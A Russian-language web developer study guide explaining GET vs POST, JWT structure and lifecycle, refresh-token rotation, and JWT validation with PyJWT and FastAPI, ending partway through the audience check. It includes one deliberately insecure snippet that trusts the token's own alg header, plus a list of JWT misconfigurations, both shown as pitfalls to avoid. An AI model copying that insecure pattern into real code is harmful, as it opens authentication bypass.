WEB

WEB #

1. GET vs POST #

КритерийGETPOST
НазначениеПолучение данныхСоздание или изменение данных
Передача данныхДанные передаются в URL (в строке запроса)Данные передаются в теле (body) HTTP-запроса
БезопасностьМенее безопасный (данные видны в URL и логах сервера)Более безопасный (данные не видны в URL)
ИдемпотентностьИдемпотентенНе идемпотентен
КэшированиеПоддерживается браузерами и прокси-серверамиНе поддерживается кэширование по умолчанию
Ограничение на длинуОграничения на длину строки URL зависят от браузераОграничения на длину тела запроса обычно отсутствуют
Пример использованияПоиск данных, отображение страницОтправка форм, создание ресурсов, изменение данных

Почему для конфиденциальных данных рекомендуется использовать POST, а не GET запросы

  1. Безопасность - в GET-запросе данные передаются в URL, который может быть виден в истории браузера, логах сервера и прокси, в POST-запросе данные передаются в теле запроса, что снижает риск случайной утечки
  2. Ограничения длины - длина URL в GET ограничена браузерами или серверами, поэтому большие объемы данных (например, конфиденциальные формы) могут не пройти
  3. Кэширование - GET-запросы могут быть кэшированы прокси-серверами или браузерами, что нежелательно для конфиденциальной информации

Можем ли всегда использовать только POST и не работать с GET? Теоретически - да, но это нарушает принципы REST и архитектуру веб-приложений:

  1. REST-принципы - GET предназначен для получения данных, POST - для создания. Использование POST для всех операций затрудняет понимание и поддержку API
  2. Оптимизация и кэширование - GET запросы могут быть кэшированы, что ускоряет работу. POST запросы не кэшируются по умолчанию
  3. Поисковые системы и SEO - GET используется для индексации страниц. Если использовать только POST, страницы не попадут в поисковую выдачу

Можем ли с помощью GET создать ресурс? Есть ли технические ограничения?

  1. Технические ограничения - с точки зрения HTTP-протокола GET не должен создавать ресурсы. Но технически сервер может обрабатывать GET запросы так, чтобы они изменяли данные (например, создавали ресурс)
  2. Практика - создание или изменение ресурсов через GET нарушает идемпотентность и может вызвать проблемы с кэшированием и повторными запросами

Почему решили из метода GET убрать body?

  1. Неопределённое поведение - семантика GET подразумевает только получение данных. Тело запроса не является обязательной частью этой семантики, поэтому серверы могут игнорировать его
  2. Совместимость - многие прокси-серверы, фреймворки и библиотеки не поддерживают body в GET, что могло бы привести к проблемам совместимости.
  3. Простота и идемпотентность - GET-запросы считаются идемпотентными и безопасными. Наличие тела могло бы изменить эту концепцию, создавая больше путаницы


2. Почему в GET-запросе обычно не передают данные в теле запроса? #

Почему так делают #

Технически HTTP-сообщение GET может содержать тело, но стандарт не определяет для него общепринятую семантику. Тело не должно менять смысл запроса или определять целевой ресурс. Поэтому разные серверы, клиенты и промежуточные узлы могут обработать его по-разному.

Основные причины:

  1. Ресурс определяется URL
GET /users/42
GET /users?status=active&page=2

Для GET путь и query-параметры описывают, какие данные нужно получить. Запрос можно понять, сохранить или повторить, просто имея URL.

  1. Проблемы с прокси и клиентами

Прокси-сервер, CDN, API Gateway или HTTP-клиент может:

  • проигнорировать тело;

  • не передать его дальше;

  • отклонить запрос;

  • интерпретировать запрос иначе, чем сервер.

RFC отдельно указывает, что некоторые реализации могут отклонять GET с телом из-за риска HTTP request smuggling.

  1. Кэширование обычно зависит от URL

Стандартный ключ HTTP-кэша как минимум строится из метода и целевого URI:

GET + /products?page=1

Тело запроса обычно не является частью стандартного ключа. Поэтому такие запросы потенциально проблемны:

GET /products
Body: {"category": "books"}
GET /products
Body: {"category": "phones"}

Для кэша оба запроса могут выглядеть одинаково: GET /products.

  1. Плохая совместимость с OpenAPI и Swagger

OpenAPI разрешает описывать тело у GET, но прямо указывает, что его семантика не определена и такого использования следует избегать. FastAPI также поддерживает это только для редких случаев: Swagger UI может не показать тело, а прокси — не поддержать его.

Как передавать параметры #

Обычная фильтрация:

GET /users?status=active&age_from=18&limit=50

Параметр пути — идентификатор конкретного ресурса:

GET /users/42

Для сложного поиска с большим вложенным JSON обычно используют POST:

POST /users/search
Content-Type: application/json

{
  "filters": {
    "status": ["active", "blocked"],
    "age": {
      "from": 18,
      "to": 40
    }
  },
  "sort": [
    {
      "field": "created_at",
      "direction": "desc"
    }
  ]
}

Такой POST необязательно изменяет данные: он может просто выполнять сложный поиск. Главная причина его использования — у тела POST есть определённая семантика и нормальная поддержка всей HTTP-инфраструктурой.

Итого: тело в GET не строго запрещено протоколом, но его смысл не стандартизирован, поэтому оно ненадёжно и непереносимо. Для обычных параметров используют URL, для сложных структур — POST с телом.


3. Что такое JWT токен и из чего он состоит? #

Что такое JWT #

JWT (JSON Web Token) — компактный URL-безопасный формат передачи утверждений — claims — между сторонами в виде JSON-данных.

JWT часто применяется для аутентификации:

  1. пользователь входит в систему;

  2. сервер выдаёт JWT;

  3. клиент передаёт его при последующих запросах;

  4. сервер проверяет подпись и срок действия токена.

Важно: JWT — это формат токена, а не отдельный протокол аутентификации. Он может использоваться внутри OAuth 2.0, OpenID Connect или собственной системы авторизации.

Из чего состоит JWT #

Наиболее распространённый подписанный JWT состоит из трёх частей:

header.payload.signature

Например:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.
eyJzdWIiOiIxMjMiLCJyb2xlIjoidXNlciIsImV4cCI6MTc2MDAwMDAwMH0
.
qwerty_example_signature

Части разделяются точками. Такой формат основан на компактном представлении JWS — JSON Web Signature.

1. Header — заголовок #

Заголовок содержит метаданные токена:

{
  "alg": "HS256",
  "typ": "JWT"
}

Основные поля:

  • alg — алгоритм создания подписи;

  • typ — тип объекта, обычно JWT;

  • kid — идентификатор ключа, когда сервер использует несколько ключей.

Заголовок сериализуется в JSON, а затем кодируется через Base64URL.

Пример алгоритмов:

  • HS256 — HMAC с SHA-256 и общим секретом;

  • RS256 — RSA с SHA-256, приватным и публичным ключами;

  • ES256 — ECDSA с SHA-256.

Алгоритмы JWT/JWS определены спецификацией JSON Web Algorithms.

2. Payload — полезная нагрузка #

Payload содержит утверждения — claims:

{
  "sub": "123",
  "username": "alfob",
  "role": "user",
  "iat": 1760000000,
  "exp": 1760000900
}

Часто используемые зарегистрированные claims:

ClaimЗначение
subSubject — идентификатор субъекта, обычно пользователя
issIssuer — кто выпустил токен
audAudience — для кого предназначен токен
expExpiration time — момент окончания действия
nbfNot before — токен нельзя использовать раньше этого времени
iatIssued at — момент выпуска
jtiJWT ID — уникальный идентификатор токена

Кроме стандартных claims, приложение может добавлять собственные:

{
  "user_id": 42,
  "role": "admin",
  "permissions": ["files:read", "files:write"]
}

Payload также кодируется через Base64URL.

Base64URL не является шифрованием #

Header и payload обычно можно декодировать без знания секретного ключа.

Поэтому в JWT нельзя помещать:

{
  "password": "secret",
  "bank_card": "1234...",
  "private_key": "..."
}

Подпись защищает данные от незаметного изменения, но не скрывает их содержимое.

Условно:

Base64URL ≠ шифрование

Зашифрованный вариант JWT существует и называется JWE — JSON Web Encryption, но обычные JWT в веб-приложениях чаще являются подписанными JWS.

3. Signature — подпись #

Подпись подтверждает:

  • токен создан доверенной стороной;

  • header и payload не были изменены после выпуска.

Для HS256 принцип формирования подписи выглядит так:

HMAC-SHA256(
    base64url(header) + "." + base64url(payload),
    secret_key
)

Результат также кодируется через Base64URL.

Итоговый токен:

base64url(header).base64url(payload).base64url(signature)

Если злоумышленник изменит:

{
  "role": "user"
}

на:

{
  "role": "admin"
}

payload изменится, и старая подпись больше не будет соответствовать данным. Сервер должен отклонить такой токен.

HS256 и RS256 #

При HS256 один секрет используется и для создания, и для проверки подписи:

Сервер выпускает токен  ─┐
                         ├── secret_key
Сервер проверяет токен  ─┘

Тот, кто может проверять подпись, при наличии секрета также может создавать токены.

При RS256 используются два ключа:

Приватный ключ → создание подписи
Публичный ключ → проверка подписи

Публичный ключ можно передать другим сервисам: они смогут проверять токены, но не смогут выпускать новые.

Как JWT передаётся в HTTP #

Обычно токен передают в заголовке Authorization:

GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

Сервер должен:

  1. извлечь токен;

  2. проверить допустимость алгоритма;

  3. проверить криптографическую подпись;

  4. проверить exp, nbf, iss, aud;

  5. определить пользователя по sub или другому идентификатору;

  6. проверить права пользователя.

Просто декодировать payload недостаточно — токен обязательно нужно валидировать.

Access и refresh JWT #

В типичной схеме используются два токена:

Access token  → короткий срок жизни, доступ к API
Refresh token → более долгий срок жизни, получение нового access token

Например:

Access token:  10 минут
Refresh token: 7 дней

Refresh-токен обычно дополнительно отслеживают на сервере: сохраняют его jti, состояние отзыва или сессию в базе данных/Redis. Иначе полностью stateless JWT сложно немедленно отозвать до истечения exp.

Главное #

JWT в распространённом подписанном виде состоит из:

Header.Payload.Signature
  • Header описывает алгоритм и тип токена.

  • Payload содержит claims о пользователе и токене.

  • Signature защищает header и payload от подмены.

  • Header и payload обычно только закодированы, а не зашифрованы.

  • Подпись не скрывает данные, а подтверждает их целостность и происхождение.


4. Жизненный цикл JWT #

Важное уточнение #

У JWT как формата нет обязательного «жизненного цикла». Его определяет приложение или протокол авторизации.

В типичной системе:

  • access token может быть JWT;

  • refresh token может быть JWT, случайной строкой или другим непрозрачным значением;

  • JWT не обязательно связан с OAuth 2.0.

JWT — это формат представления claims, а access token в OAuth является абстракцией: конкретный формат токена определяет сервер авторизации.

Общая схема #

Аутентификация пользователя
Выпуск access и refresh token
Использование access token
Проверка токена на каждом запросе
     ┌────┴──────────┐
     ↓               ↓
Токен действителен  Токен истёк
     ↓               ↓
Доступ к ресурсу    Обновление через refresh token
                 Новый access token
              Истечение или отзыв сессии

1. Аутентификация пользователя #

Клиент отправляет данные для входа:

POST /auth/login
Content-Type: application/json

{
  "username": "alfob",
  "password": "password"
}

Сервер:

  1. находит пользователя;

  2. проверяет пароль;

  3. проверяет состояние учётной записи;

  4. определяет права пользователя;

  5. создаёт токены.

На этом этапе JWT ещё может не существовать. Сначала сервер должен удостовериться, кому он выдаёт токен.

2. Создание JWT #

Сервер формирует payload:

{
  "sub": "42",
  "iss": "https://auth.example.com",
  "aud": "https://api.example.com",
  "type": "access",
  "role": "user",
  "iat": 1785456000,
  "nbf": 1785456000,
  "exp": 1785456900,
  "jti": "ec8ef5b5-33ef-4d3c-aef5-8e20c16b55bb"
}

Основные claims:

  • sub — субъект токена, обычно ID пользователя;

  • iss — сервер, выпустивший токен;

  • aud — сервис, для которого предназначен токен;

  • iat — время выпуска;

  • nbf — время, раньше которого токен использовать нельзя;

  • exp — время окончания действия;

  • jti — уникальный идентификатор JWT.

Затем сервер:

  1. создаёт header;

  2. сериализует header и payload;

  3. кодирует их через Base64URL;

  4. создаёт криптографическую подпись.

header.payload.signature

Согласно RFC 7519, после наступления exp JWT не должен приниматься, до наступления nbf — также не должен приниматься. Если присутствует aud, сервис должен проверить, что токен предназначен именно для него.

3. Выдача токенов клиенту #

Типичный ответ:

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-store

{
  "access_token": "eyJhbGciOiJSUzI1NiIs...",
  "refresh_token": "a-long-random-value",
  "token_type": "Bearer",
  "expires_in": 900
}

Например:

Access token:  15 минут
Refresh token: 7 дней

Access token используется для обращения к API. Refresh token предназначен для получения нового access token и должен отправляться только серверу авторизации, а не обычному ресурсному API.

4. Использование access token #

Клиент прикладывает access token к запросу:

GET /api/profile
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...

Bearer означает: тот, кто владеет токеном, обычно может им воспользоваться. Поэтому его необходимо защищать от утечки и передавать через защищённое соединение. Стандартным способом передачи является заголовок Authorization.

5. Проверка JWT сервером #

При каждом защищённом запросе API выполняет несколько проверок.

Формат #

header.payload.signature

Токен должен корректно декодироваться и иметь ожидаемую структуру.

Алгоритм #

Сервер должен заранее определить разрешённые алгоритмы:

jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],
)

Нельзя безусловно доверять значению alg, которое прислал сам клиент в header. Библиотека и приложение должны проверять, что алгоритм входит в заранее разрешённый набор.

Подпись #

Сервер проверяет подпись:

verify(
    header.payload,
    signature,
    verification_key
)

При HS256 используется общий секрет. При RS256 или ES256 подпись обычно проверяется публичным ключом.

Issuer #

{
  "iss": "https://auth.example.com"
}

API проверяет, что токен выпущен доверенным сервером и что ключ проверки действительно принадлежит этому issuer.

Audience #

{
  "aud": "https://api.example.com"
}

Токен, предназначенный для другого API, должен быть отклонён.

Время #

Сервер проверяет:

nbf <= текущее время < exp

Также может учитываться небольшая погрешность часов — clock skew.

Тип токена #

Полезно явно разделять токены:

{
  "type": "access"
}

Refresh token нельзя принимать как access token только потому, что у него корректная подпись.

Серверное состояние #

При необходимости сервер дополнительно проверяет:

  • находится ли jti в списке отозванных;

  • существует ли пользователь;

  • активна ли учётная запись;

  • не изменился ли пароль;

  • не была ли завершена сессия;

  • актуальны ли роли и разрешения.

6. Авторизация #

После проверки JWT сервер определяет, разрешено ли пользователю выполнить конкретное действие.

Например, токен действителен:

{
  "sub": "42",
  "role": "user"
}

Но запрос требует администратора:

DELETE /api/users/10

Результат:

HTTP/1.1 403 Forbidden

То есть:

Валидный JWT ≠ разрешение на любую операцию

Аутентификация отвечает на вопрос «кто пользователь», авторизация — «что ему разрешено».

7. Истечение access token #

После наступления exp API отклоняет токен:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer error="invalid_token"

Клиент больше не должен использовать этот access token. RFC 6749 требует, чтобы ресурсный сервер проверял срок действия и область доступа токена.

8. Обновление через refresh token #

Клиент отправляет refresh token серверу авторизации:

POST /auth/refresh
Content-Type: application/json

{
  "refresh_token": "a-long-random-value"
}

Сервер проверяет:

  • подпись или наличие refresh token в хранилище;

  • срок действия;

  • тип токена;

  • jti;

  • владельца токена;

  • состояние сессии;

  • факт отзыва;

  • допустимый client или устройство.

После успешной проверки выдаётся новый access token:

{
  "access_token": "new-access-token",
  "refresh_token": "new-refresh-token",
  "token_type": "Bearer",
  "expires_in": 900
}

9. Ротация refresh token #

Без ротации один refresh token используется многократно:

Refresh A → Access 1
Refresh A → Access 2
Refresh A → Access 3

При ротации каждый refresh token является одноразовым:

Refresh A → Access 1 + Refresh B
Refresh B → Access 2 + Refresh C
Refresh C → Access 3 + Refresh D

После использования Refresh A становится недействительным.

Если позднее кто-то повторно отправляет Refresh A, это может означать, что токен был украден. Сервер может отозвать всю связанную цепочку refresh-токенов и потребовать повторную аутентификацию. Актуальные рекомендации OAuth требуют для публичных клиентов применять ротацию refresh token либо криптографическую привязку токена к клиенту.

10. Выход из системы #

При logout клиент обычно:

  1. удаляет локальные токены;

  2. отправляет refresh token или идентификатор сессии серверу;

  3. сервер отзывает refresh token или всю сессию.

POST /auth/logout
Authorization: Bearer <access-token>

Возможная серверная операция:

session.revoked = true

или:

Redis:
revoked:refresh:<jti> = true

Проблема отзыва access JWT #

Самодостаточный access JWT может оставаться криптографически действительным до наступления exp, даже если пользователь нажал logout.

Например:

12:00 — выдан access token до 12:15
12:05 — пользователь вышел
12:06 — украденный access token всё ещё может пройти проверку
12:15 — токен окончательно истёк

Так происходит, когда API проверяет только:

подпись + exp + iss + aud

и не обращается к серверному хранилищу.

Для немедленного отзыва используются:

  • blacklist по jti;

  • серверная сессия;

  • версия токенов пользователя;

  • время последнего глобального logout;

  • короткоживущие access-токены;

  • introspection для непрозрачных токенов.

Stateless и stateful варианты #

Полностью stateless access JWT #

API проверяет только JWT
База или Redis не запрашиваются

Преимущества:

  • простая горизонтальная масштабируемость;

  • быстрая локальная проверка;

  • нет запроса в центральное хранилище на каждый API-вызов.

Недостаток:

  • сложно немедленно отозвать уже выданный токен.

JWT с серверным состоянием #

JWT + проверка jti/session/token_version в Redis или БД

Преимущества:

  • немедленный logout;

  • блокировка отдельных устройств;

  • отзыв украденных токенов;

  • управление активными сессиями.

Недостаток:

  • дополнительный запрос к хранилищу;

  • система уже не является полностью stateless.

Полный пример жизненного цикла #

1. 12:00 — пользователь проходит аутентификацию

2. Сервер выдаёт:
   access token  до 12:15
   refresh token до 19:00 следующей недели

3. 12:05 — клиент вызывает API с access token

4. API проверяет:
   alg
   подпись
   iss
   aud
   nbf
   exp
   type
   права пользователя

5. 12:15 — access token истекает

6. Клиент отправляет refresh token серверу авторизации

7. Сервер выдаёт:
   новый access token
   новый refresh token

8. Старый refresh token аннулируется

9. Пользователь выходит из системы

10. Сервер отзывает refresh token и сессию

11. Дальнейшее обновление access token невозможно

Главная идея жизненного цикла:

Аутентификация
→ выпуск
→ передача
→ проверка
→ использование
→ истечение
→ обновление
→ ротация или отзыв
→ завершение сессии


5. Какие плюсы и минусы имеет использование JWT в системах авторизации? #

Преимущества JWT #

1. Локальная проверка токена #

JWT может содержать все данные, необходимые API для проверки запроса:

{
  "sub": "42",
  "role": "user",
  "aud": "orders-api",
  "exp": 1785456900
}

Сервис проверяет:

  • криптографическую подпись;

  • срок действия;

  • издателя iss;

  • получателя aud;

  • необходимые claims.

Для этого не обязательно обращаться к серверу авторизации или базе данных при каждом запросе. Это удобно в распределённых системах и микросервисной архитектуре.

Клиент
  │ JWT
API-сервис ── проверяет подпись публичным ключом

2. Хорошая масштабируемость #

Когда access-токены проверяются локально, любой экземпляр API может обработать запрос:

                 ┌─ API instance 1
Клиент → балансировщик ├─ API instance 2
                 └─ API instance 3

Не требуется хранить пользовательскую HTTP-сессию в памяти конкретного сервера. Поэтому проще:

  • добавлять новые экземпляры приложения;

  • распределять запросы через балансировщик;

  • не использовать sticky sessions;

  • уменьшать нагрузку на централизованное хранилище сессий.

Но это преимущество сохраняется только при действительно локальной проверке JWT. Если каждый запрос дополнительно проверяет jti или сессию в Redis, система уже не полностью stateless.

3. Удобство для нескольких сервисов #

Сервер авторизации может подписывать JWT приватным ключом, а остальные сервисы — проверять подпись публичным:

Auth Service
private key
   JWT
     ├── Users API ─── public key
     ├── Orders API ── public key
     └── Files API ─── public key

Проверяющие сервисы не получают приватный ключ и не могут самостоятельно выпускать корректные токены.

4. Стандартизированный формат #

JWT имеет стандартизированную структуру и набор зарегистрированных claims:

header.payload.signature
{
  "iss": "auth.example.com",
  "sub": "42",
  "aud": "api.example.com",
  "exp": 1785456900,
  "nbf": 1785456000,
  "iat": 1785456000,
  "jti": "unique-token-id"
}

Это упрощает интеграцию между системами, написанными на разных языках и технологиях. Сам формат JWT определён RFC 7519, а правила безопасного использования уточнены RFC 8725.

5. Возможность передавать ограниченный контекст #

В access JWT можно поместить данные, необходимые для авторизации:

{
  "sub": "42",
  "scope": "files:read files:write",
  "tenant_id": "company-7"
}

API может принять решение без дополнительного запроса к сервису пользователей:

if "files:write" not in token.scopes:
    raise Forbidden()

Это уменьшает связанность сервисов и количество сетевых запросов.

6. Поддержка короткоживущих токенов #

JWT удобно использовать как access token с небольшим сроком жизни:

Access JWT:   5–15 минут
Refresh token: несколько дней

Даже если access-токен украден, период его использования ограничен значением exp. Однако короткий срок действия не заменяет защиту токена от утечки.


Недостатки JWT #

1. Сложный немедленный отзыв #

Главный недостаток самодостаточного JWT: после выпуска он остаётся криптографически действительным до наступления exp.

12:00 — access JWT выдан до 12:15
12:05 — пользователь вышел из системы
12:06 — украденный JWT всё ещё может работать
12:15 — JWT истёк

Сама подпись не сообщает, что пользователь вышел, был заблокирован или его сессия была завершена.

Для немедленного отзыва приходится добавлять серверное состояние:

JWT
 +
blacklist по jti
или
session_id в Redis
или
token_version пользователя

Тогда исчезает часть преимущества stateless-подхода.

2. Устаревание данных внутри токена #

Claims являются снимком состояния на момент выпуска:

{
  "sub": "42",
  "role": "admin",
  "exp": 1785456900
}

Через минуту пользователя могут лишить роли администратора, но старый JWT продолжит содержать:

{
  "role": "admin"
}

Решения:

  • короткий срок жизни access-токена;

  • проверка критичных прав в базе;

  • хранение версии прав или версии токена;

  • отзыв сессии;

  • не помещать часто меняющиеся права непосредственно в JWT.

Поэтому JWT особенно неудобен для систем, где полномочия должны изменяться мгновенно.

3. JWT обычно не шифрует содержимое #

Обычный подписанный JWT защищает payload от подмены, но не скрывает его:

Base64URL ≠ шифрование

Любой владелец токена обычно может декодировать payload:

{
  "sub": "42",
  "email": "user@example.com",
  "role": "admin"
}

Поэтому в JWT нельзя помещать:

  • пароль;

  • приватный ключ;

  • платёжные реквизиты;

  • секреты;

  • лишние персональные данные.

JWT может быть зашифрован с помощью JWE, но это отдельный и более сложный механизм. RFC 8725 отдельно рассматривает риски раскрытия информации и требует не считать обычное кодирование защитой конфиденциальности.

4. Токен может быть довольно большим #

Обычный идентификатор сессии:

a3d91f8c2e...

JWT:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

JWT содержит:

  • заголовок;

  • claims;

  • временные поля;

  • подпись;

  • Base64URL-кодирование.

Он передаётся при каждом запросе:

Authorization: Bearer <длинный JWT>

При большом количестве claims это увеличивает:

  • размер HTTP-заголовков;

  • сетевой трафик;

  • объём логов;

  • вероятность превышения ограничений прокси или веб-сервера.

Не следует превращать JWT в контейнер всего профиля пользователя.

5. Ошибки конфигурации могут привести к серьёзным уязвимостям #

Небезопасная проверка JWT может включать:

  • доверие к алгоритму alg из входящего токена;

  • принятие неподписанного токена;

  • смешивание HS256 и RS256;

  • отсутствие проверки iss;

  • отсутствие проверки aud;

  • принятие refresh token как access token;

  • повторное использование одного токена в разных контекстах;

  • слабый HMAC-секрет;

  • небезопасную загрузку ключей по данным из header.

RFC 8725 требует заранее фиксировать разрешённые алгоритмы, проверять issuer и audience, использовать явные правила валидации и не применять один набор правил для разных типов JWT.

Пример правильного ограничения алгоритма:

payload = jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],
    audience="orders-api",
    issuer="https://auth.example.com",
)

6. JWT не решает проблему безопасного хранения на клиенте #

JWT может быть украден:

  • через XSS;

  • из localStorage;

  • из логов;

  • из истории отладки;

  • через вредоносное расширение;

  • при передаче без TLS;

  • через неправильно настроенные cookies.

Bearer-токен обычно может использовать любой, кто им завладел:

Есть токен → можно представиться его владельцем

Использование JWT не делает аутентификацию автоматически безопасной. Безопасность зависит от хранения, передачи, срока действия, ротации refresh-токенов и защиты клиентского приложения. Современные рекомендации OAuth отдельно требуют защищаться от повторного использования и утечки refresh-токенов, например посредством ротации или привязки токена к клиенту.

7. Logout становится сложнее #

При серверной сессии выход выглядит просто:

Удалить session_id из Redis
→ все следующие запросы отклоняются

При stateless JWT:

Удаление токена на клиенте
немедленное прекращение действия всех его копий

Для полноценного logout со всех устройств требуется инфраструктура:

  • серверные сессии;

  • хранение refresh-токенов;

  • blacklist;

  • семейства refresh-токенов;

  • ротация;

  • обнаружение повторного использования;

  • отзыв сессии.

8. Сложнее управлять ключами #

При использовании асимметричной подписи необходимо организовать:

  • безопасное хранение приватного ключа;

  • публикацию публичных ключей;

  • идентификаторы kid;

  • ротацию ключей;

  • период совместимости старого и нового ключа;

  • удаление скомпрометированных ключей;

  • синхронизацию ключей между сервисами.

JWT упрощает локальную проверку, но переносит часть сложности в управление криптографическими ключами.

9. JWT иногда применяют без необходимости #

Для обычного монолитного приложения:

Browser → один backend → одна база данных

серверная сессия часто проще:

Cookie: session_id=abc123

Redis:
abc123 → user_id=42

Она даёт:

  • простой немедленный logout;

  • небольшую cookie;

  • централизованное управление сессиями;

  • отсутствие устаревших ролей внутри токена;

  • более простую реализацию.

JWT не является «современной заменой сессий» для любого приложения.


JWT и серверная сессия #

КритерийJWT access tokenСерверная сессия
Проверка без БД/RedisВозможнаОбычно нет
Немедленный отзывСложнееПросто
МасштабированиеУдобноТребуется общее хранилище
Размер токенаОбычно большеОбычно маленький ID
Актуальность правМожет устареватьПроверяется централизованно
Межсервисное использованиеУдобноМенее удобно
Управление ключамиТребуетсяОбычно не требуется
Простота logoutНижеВыше

Когда JWT оправдан #

JWT хорошо подходит, когда:

  • есть несколько независимых API;

  • access token проверяют разные сервисы;

  • нужен единый сервер авторизации;

  • требуется локальная проверка без сетевого вызова;

  • используются короткоживущие access-токены;

  • настроены проверка iss, aud, exp и строгий список алгоритмов;

  • реализовано безопасное управление refresh-токенами.

Пример:

Mobile App
Authorization Server
    │ JWT
    ├── Orders API
    ├── Payments API
    └── Files API

Когда JWT может быть лишним #

Серверная сессия часто предпочтительнее, когда:

  • приложение является обычным монолитом;

  • API обслуживает только собственный браузерный frontend;

  • нужен немедленный logout;

  • права пользователя часто меняются;

  • требуется централизованное управление устройствами и сессиями;

  • нет реальной необходимости проверять токен несколькими независимыми сервисами.

Итог #

Главное преимущество JWT:

Самодостаточный подписанный токен
→ локальная проверка
→ удобство для распределённых систем

Главный недостаток:

Самодостаточный токен
→ сервер не контролирует его после выпуска
→ сложный отзыв и устаревание claims

Поэтому JWT наиболее полезен как короткоживущий access token между сервером авторизации и несколькими API. Для простого веб-приложения классическая серверная сессия нередко безопаснее и проще.


6. Как выполняется валидация JWT в приложении? #

Что означает валидация JWT #

Валидация JWT — это не просто декодирование payload. Приложение должно убедиться, что:

токен имеет корректный формат
+ подпись действительна
+ токен выпущен доверенным сервером
+ предназначен этому приложению
+ ещё не истёк
+ имеет нужный тип
+ относится к существующему и активному субъекту

Если хотя бы одна обязательная проверка не проходит, токен должен быть отклонён. RFC 7519 прямо требует считать JWT недействительным при провале любого этапа его проверки.

Общий процесс #

HTTP-запрос
Извлечение Bearer-токена
Проверка структуры JWT
Выбор доверенного ключа
Проверка алгоритма и подписи
Проверка стандартных claims
Проверка прикладных claims
Проверка пользователя и отзыва токена
Авторизация операции

1. Извлечение токена #

Обычно клиент передаёт JWT в заголовке:

GET /api/profile HTTP/1.1
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...

FastAPI может извлечь его через OAuth2PasswordBearer:

from fastapi import Depends
from fastapi.security import OAuth2PasswordBearer

oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/auth/login")


async def get_current_user(
    token: str = Depends(oauth2_scheme),
):
    ...

oauth2_scheme извлекает значение после Bearer, но сам по себе не выполняет криптографическую проверку JWT. Проверка выполняется библиотекой JWT внутри зависимости. Официальный пример FastAPI использует именно такую схему.

2. Проверка структуры #

Обычный подписанный JWT должен состоять из трёх частей:

header.payload.signature

Библиотека проверяет:

  • наличие разделителей . при compact-представлении;

  • корректность Base64URL;

  • корректность JSON;

  • допустимость полей заголовка;

  • корректность формата claims.

Эти технические действия обычно выполняет JWT-библиотека, а не код приложения вручную.

3. Проверка алгоритма #

Допустимый алгоритм должен задаваться конфигурацией сервера:

ALGORITHM = "HS256"

payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=[ALGORITHM],
)

Нельзя делать так:

header = jwt.get_unverified_header(token)

payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=[header["alg"]],
)

Значение alg находится во входящем токене и контролируется отправителем. Приложение должно заранее определить разрешённый набор алгоритмов и не смешивать симметричные HS* и асимметричные RS* алгоритмы для одного ключевого контекста. Это требование содержится и в RFC 8725, и в официальной документации PyJWT.

4. Проверка подписи #

Для HS256 подпись проверяется тем же секретом, которым токен был создан:

Auth-сервис: создаёт подпись secret_key
API:         проверяет подпись secret_key
payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=["HS256"],
)

Для RS256:

Auth-сервис: подписывает приватным ключом
API:         проверяет публичным ключом
payload = jwt.decode(
    token,
    PUBLIC_KEY,
    algorithms=["RS256"],
)

Библиотека повторно вычисляет криптографическую проверку над:

base64url(header) + "." + base64url(payload)

и сравнивает результат с подписью токена.

Если кто-либо изменит, например:

{
  "role": "user"
}

на:

{
  "role": "admin"
}

подпись перестанет соответствовать содержимому, и токен будет отклонён.

Важно: сначала проверяется подпись, и только после этого claims можно считать доверенными. Чтение payload с отключённой проверкой подписи не подтверждает ни его целостность, ни происхождение.

5. Выбор ключа через kid #

Когда сервер использует несколько ключей, JWT может содержать:

{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "key-2026-01"
}

kid помогает найти нужный публичный ключ:

kid из JWT
поиск ключа в доверенном JWKS
проверка подписи

Сам kid до проверки подписи ещё не является доверенным значением. Его разрешено использовать только как идентификатор для поиска ключа в заранее настроенном доверенном наборе ключей.

PyJWT предоставляет PyJWKClient для получения ключей из JWKS endpoint.

Пример:

from jwt import PyJWKClient

jwks_client = PyJWKClient(
    "https://auth.example.com/.well-known/jwks.json"
)

signing_key = jwks_client.get_signing_key_from_jwt(token)

payload = jwt.decode(
    token,
    signing_key.key,
    algorithms=["RS256"],
    issuer="https://auth.example.com",
    audience="notification-api",
)

Адрес JWKS должен задаваться конфигурацией приложения, а не браться из непроверенного JWT.

6. Проверка exp #

exp определяет момент, после которого токен нельзя принимать:

{
  "exp": 1785456900
}

Условие:

текущее время < exp

Если время равно exp или превышает его, JWT уже недействителен. RFC допускает небольшой leeway для компенсации рассинхронизации системных часов.

В PyJWT проверка exp выполняется при jwt.decode():

payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=["HS256"],
    leeway=5,
)
from jwt import ExpiredSignatureError

try:
    payload = jwt.decode(
        token,
        SECRET_KEY,
        algorithms=["HS256"],
    )
except ExpiredSignatureError:
    print("JWT истёк")

PyJWT автоматически проверяет exp, когда claim присутствует. Чтобы гарантировать его обязательное наличие, нужно отдельно добавить его в require.

7. Проверка nbf #

nbf означает, что токен нельзя принимать раньше определённого времени:

{
  "nbf": 1785456000
}

Условие:

текущее время >= nbf

Например, JWT может быть выпущен заранее, но начать действовать через пять минут. До наступления nbf он должен быть отклонён.

8. Проверка iss #

iss указывает, кто выпустил JWT:

{
  "iss": "https://auth.example.com"
}

API должен сравнить это значение с ожидаемым издателем:

payload = jwt.decode(
    token,
    PUBLIC_KEY,
    algorithms=["RS256"],
    issuer="https://auth.example.com",
)

Без проверки iss приложение может принять JWT, выпущенный другим сервером, особенно когда разные системы используют совместимые алгоритмы или ключевую инфраструктуру.

RFC 8725 рекомендует проверять связь между издателем, субъектом и ключом, которым проверяется подпись.

9. Проверка aud #

aud указывает, для какого API предназначен токен:

{
  "aud": "notification-api"
}

Проверка:

payload = jwt.decode(
    token,
    PUBLIC_KEY,
    algorithms=["RS256"],
    audience="notification-api",
)

Например:

aud = files-api

